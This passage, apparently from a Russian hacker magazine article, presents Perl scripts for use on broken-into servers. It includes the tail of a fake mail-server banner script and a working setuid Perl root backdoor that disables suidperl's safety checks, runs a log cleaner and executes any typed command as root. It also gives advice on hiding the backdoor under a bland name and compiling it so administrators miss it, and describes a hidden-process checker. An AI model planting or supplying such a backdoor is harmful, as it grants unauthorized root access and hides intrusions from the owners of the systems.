Жизнь по сценарию Докучаев Дмитрий aka Forb Хакер, номер #072, стр. 072-064-5 print "=> : $rfc[$i]"; # Дублируем в консоли $i++; $stat=$client-> recv($data,1024); # Читаем данные из сокета print "<=: $data\n"; if ($i eq $count || $data=~/quit/i) { # Если в данных содержится QUIT или больше нет ответов print "END OF DATA (EOF rfc or quit)\n"; close($client); # Закрываем сокет и выходим exit; }}} Для совместимости с клиентами проводится введение дополнительного символа возврата каретки. После соединения с почтовиком выводится поддельный баннер, а затем читается имя пользователя. Точно так же принимается пароль и остальные команды. Если в файле с реакционными фразами более ничего нет, соединение закрывается. Закрытие сокета происходит также в случае получения слова QUIT. Рутовый шелл за две минуты Часто бывает, что на взломанной машине напрочь отсутствует компилятор. При таком ужасном раскладе хакеру не удается скомпилировать руткит, логвайпер и даже бэкдор! Чтобы решить эту проблему, достаточно обратиться за помощью к перловому интерпретатору. Не буду тянуть резину, а сразу скажу, что мне приходит много писем с вопросом организации суидных приложений на Perl. То есть, попросту, взломщик хочет выполнять команды суперпользователя через обычный перловый скрипт. Рассказываю, как этого добиться, благо задача выполняется не просто, а очень просто :). Не секрет, что суидные скрипты обрабатываются специальным интерпретатором /usr/bin/suidperl. Но вот западло: перед выполнением сценария suidperl всячески проверяет его на предмет наличия опасных команд. То есть при обычных условиях интерпретатор обойдет стороной подозрительную функцию system(). Чтобы отключить эту проверку, необходимо использовать параметр -U, указанный в заголовке сценария. А дальше дело техники: организуй бесконечный цикл, в котором происходит запрос команды. В итоге получится что-то типа суидного /bin/bash. В довесок ко всему этому можно добавить ряд нехитрых команд, которые запускают портированный логклинер и прячут хакерские процессы. Суидная оболочка #!/usr/bin/suidperl -U system("/usr/bin/checklogs dummy"); # Запускаем портированный логклинер while(1) { print "rootcmd# "; # Выводим приглашение в бесконечном цикле $cmd=<> ; chomp($cmd); $out=`$cmd`; print $out; # А также результат обработанной команды } Не забудь установить на сценарий suid-бит и припрятать его в укромное место, обозвав невзрачным именем. А еще лучше, скомпилируй хакерское творение программой perlcc, и тогда админ никогда не догадается, что на его машине поселились злые хакеры. Скрытые процессы под хакерским взором И последний сценарий тоже наверняка тебе понравится. Я написал его, когда проводил аудит своей системы. Чудесный скрипт отображает процессы, которые скрываются от утилиты /bin/ps. Он очень пригодился мне и в хакерской жизни: я запускаю ps.pl на всех взломанных машинах, дабы убедиться в том, что кроме меня машину никто не порутал. Если ты хакер и администратор в одном лице, то никто не мешает тебе доработать сценарий (добавить email-оповещение) и запускать его crontub’ом каждые три часа. Можно использовать скрипт в качестве проверки эффективности руткита (большинство нормальных LKM позволяют облапошить этот сценарий). В общем, применений ps.pl может быть несколько, однако не следует слишком доверять этой программе :). |